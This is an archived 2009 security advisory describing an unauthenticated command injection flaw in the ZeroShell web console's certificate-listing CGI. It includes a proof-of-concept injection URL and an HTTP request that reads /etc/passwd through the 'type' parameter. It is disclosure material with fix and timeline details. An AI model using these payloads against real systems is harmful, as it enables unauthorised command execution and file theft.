exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ZeroShell Code Execution

ZeroShell Code Execution
Posted Feb 9, 2009
Authored by Luca Carettoni | Site ikkisoft.com

ZeroShell versions 1.0beta11 and below suffer from a remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 15b6637e4b0289913a8d4d63a52e96e1a32f244030761fbf336ec8cf371497fd

ZeroShell Code Execution

Change Mirror Download
 ========================================================================
ZeroShell <= 1.0beta11 Remote Code Execution
========================================================================

Affected Software: ZeroShell <= 1.0beta11
Severity: High
Local/Remote: Remote
Author: Luca Carettoni - luca.carettoni[at]ikkisoft[dot]com
Advisory URL: http://www.ikkisoft.com/stuff/LC-2009-01.txt

[Summary]

ZeroShell (http://www.zeroshell.net/eng/) is a small Linux distribution
for servers and embedded devices. This Linux distro can be configured
and managed with an easy to use web console.

ZeroShell is prone to an arbitrary code execution vulnerability due to
an improper input validation mechanism. An aggressor may abuse this
weakness in order to compromise the entire system.
Authentication is not required in order to exploit this flaw.

[Vulnerability Details]

The ZeroShell web console uses a CGI program and several bash scripts
to provide all administrative functions. An improper input validation
mechanism permits the injection of arbitrary system commands.
An unauthenticated user may invoke a function to retrieve all x509
certificates present in the repository, using the following GET request:
https://<IP>/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=user

The parameter "type" is used to distinguish between users, CA and host
certificates. Unfortunately, this parameter is passed to the following
code without input validation at all:

<-- cut here -->
TYPE="$1"
cd "$SSLDIR/certs" || exit 1
ls *_${TYPE}.pem |awk -F"_$TYPE.pem" -v"TYPE=$TYPE" '{
<-- cut here -->

An aggressor may easily escape the hardcoded commands, adding arbitrary
system commands. According to the default system configuration, these
commands are executed as "apache" (low privileges user).

[Proof of Concept Exploit]

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;<CMD HERE>;%22

In addition to the Unix commands, it is possible to abuse the
ZeroShell scripts themself. For instance it is likely to use the
"getkey" script in order to retrieve remote files, including the content
in the html page.

{HTTP REQUEST}
GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;
/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1
Host: <IP>

[Fix Information]

The vendor has published a patch for the release 1.0beta11 only.
http://www.zeroshell.net/eng/patch-details/#C100

The new release (1.0beta12) will be available soon.

[Time Table]

08/01/2009 - Vendor notified.
08/01/2009 - Vendor response.
11/01/2009 - Vendor patch release.
09/02/2009 - Public disclosure.

[Legal Notices]

The information in the advisory is believed to be accurate at the
time of publishing based on currently available information.
This information is provided as-is, as a free service to the community.
There are no warranties with regard to this information.
The author does not accept any liability for any direct,
indirect, or consequential loss or damage arising from use of,
or reliance on, this information.
Permission is hereby granted for the redistribution of this alert,
provided that the content is not altered in any way, except
reformatting, and that due credit is given.

This vulnerability has been disclosed in accordance with the RFP
Full-Disclosure Policy v2.0, available at:
http://www.wiretrip.net/rfp/policy.html
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close